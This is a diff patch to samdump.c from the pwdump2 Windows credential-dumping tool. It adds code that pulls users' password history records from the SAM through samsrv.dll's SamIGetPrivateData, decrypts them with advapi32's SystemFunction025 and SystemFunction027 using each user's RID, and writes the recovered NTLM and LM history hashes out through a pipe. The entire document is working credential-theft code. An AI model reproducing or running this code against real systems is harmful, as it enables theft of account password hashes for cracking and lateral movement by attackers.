--- /cygdrive/c/Downloads/pwdump2/samdump.c 2000-03-28 15:50:06.000000000 +0200 +++ /cygdrive/c/hacktools/rd/labb/pwdump2/samdump.c 2005-04-22 21:19:13.335332800 +0200 @@ -21,6 +21,10 @@ * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * Changes + * ------- + * 20050220 - Added functionality to extract history hashes + * ***************************************************************************/ #include @@ -34,6 +38,7 @@ static HINSTANCE hSamsrv; +static HINSTANCE hAdvapi32; typedef DWORD HUSER; typedef DWORD HSAM; @@ -61,10 +66,14 @@ typedef HLOCAL (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFER_t) (PVOID, DWORD); typedef HLOCAL (WINAPI *SamIFree_SAMPR_ENUMERATION_BUUFER_t) (SAM_USER_ENUM*); typedef NTSTATUS (WINAPI *SamrCloseHandle_t) (DWORD*); +typedef NTSTATUS (WINAPI *SamIGetPrivateData_t) (HUSER, DWORD *, DWORD *, DWORD *, PVOID *); +typedef NTSTATUS (WINAPI *SystemFunction025_t) (PVOID, DWORD*, BYTE[32] ); +typedef NTSTATUS (WINAPI *SystemFunction027_t) (PVOID, DWORD*, BYTE[32] ); #define SAM_USER_INFO_PASSWORD_OWFS 0x12 - +#define SAM_HISTORY_COUNT_OFFSET 0x3c +#define SAM_HISTORY_NTLM_OFFSET 0x3c // // Samsrv function pointers @@ -77,6 +86,9 @@ static SamIFree_SAMPR_USER_INFO_BUFFER_t pSamIFree_SAMPR_USER_INFO_BUFFER; static SamIFree_SAMPR_ENUMERATION_BUUFER_t pSamIFree_SAMPR_ENUMERATION_BUFFER; static SamrCloseHandle_t pSamrCloseHandle; +static SamIGetPrivateData_t pSamIGetPrivateData; +static SystemFunction025_t pSystemFunction025; +static SystemFunction027_t pSystemFunction027; // // Load DLLs and GetProcAddresses @@ -85,7 +97,7 @@ LoadFunctions (void) { hSamsrv = LoadLibrary ("samsrv.dll"); - + hAdvapi32 = LoadLibrary ("advapi32.dll"); pSamIConnect = (SamIConnect_t) GetProcAddress (hSamsrv, "SamIConnect"); pSamrOpenDomain = (SamrOpenDomain_t) GetProcAddress (hSamsrv, "SamrOpenDomain"); @@ -95,6 +107,9 @@ pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFER_t) GetProcAddress (hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER"); pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUUFER_t) GetProcAddress (hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER"); pSamrCloseHandle = (SamrCloseHandle_t) GetProcAddress (hSamsrv, "SamrCloseHandle"); + pSamIGetPrivateData = (SamIGetPrivateData_t) GetProcAddress (hSamsrv, "SamIGetPrivateData"); + pSystemFunction025 = (SystemFunction025_t) GetProcAddress( hAdvapi32, "SystemFunction025" ); + pSystemFunction027 = (SystemFunction027_t) GetProcAddress( hAdvapi32, "SystemFunction027" ); return ((pSamIConnect != NULL) && (pSamrOpenDomain != NULL) @@ -103,6 +118,9 @@ && (pSamrEnumerateUsersInDomain != NULL) && (pSamIFree_SAMPR_USER_INFO_BUFFER != NULL) && (pSamIFree_SAMPR_ENUMERATION_BUFFER != NULL) + && (pSamIGetPrivateData != NULL) + && (pSystemFunction025 != NULL ) + && (pSystemFunction027 != NULL ) && (pSamrCloseHandle != NULL)); } @@ -197,6 +215,9 @@ int theRc = 1; HANDLE hPipe; + DWORD dw1, dw2; + DWORD dwCounter, dwOffset; + // // Open the output pipe // @@ -285,7 +306,10 @@ CHAR szUserName[256]; wchar_t wBuff[256]; DWORD dwSize; - PVOID pUserInfo = 0; + PVOID pUserInfo = 0, pHistRec = 0; + BYTE hashData[64]; + CHAR szHistName[270]; + int j; // // Open the user (by Rid) @@ -332,11 +356,55 @@ DumpInfo (hPipe, szUserName, pEnum->users[i].rid, pUserInfo); + + pSamIFree_SAMPR_USER_INFO_BUFFER (pUserInfo, SAM_USER_INFO_PASSWORD_OWFS); + + dw1 = 2; + dw2 = 0; + dwSize = 0; + pUserInfo = NULL; + + rc = pSamIGetPrivateData( hUser, &dw1, &dw2, &dwSize, &pUserInfo ); + + if ( rc == 0 && dwSize > 0x3c ) { + + pHistRec = pUserInfo; + + dwCounter = (((BYTE *)pUserInfo)[SAM_HISTORY_COUNT_OFFSET]) / 16 ; + dwOffset = (((BYTE *)pUserInfo)[SAM_HISTORY_NTLM_OFFSET]); + + if ( ( dwCounter > 1 ) && ( dwSize > dwOffset + 0x64 ) ) { + + for ( j=dwCounter;j>1; j -- ) { + + pHistRec = (BYTE *)pHistRec += 0x10; + + if ( 0 != (rc = pSystemFunction025( (BYTE *)pHistRec+0x44, &pEnum->users[i].rid, hashData ) ) ) { + break; + } + + if ( 0 != (rc = pSystemFunction027( (BYTE *)pHistRec+0x44+dwOffset, &pEnum->users[i].rid, hashData+16 ) ) ) { + break; + } + + _snprintf( szHistName, sizeof( szHistName ) - 1, "%s_history_%d", szUserName, dwCounter - j ); + DumpInfo (hPipe, szHistName, pEnum->users[i].rid, hashData); + + } + } + + if ( pUserInfo ) + LocalFree( pUserInfo ); + + pUserInfo = 0; + + } + + // // Free stuff // - pSamIFree_SAMPR_USER_INFO_BUFFER (pUserInfo, - SAM_USER_INFO_PASSWORD_OWFS); + pUserInfo = 0; pSamrCloseHandle (&hUser); hUser = 0;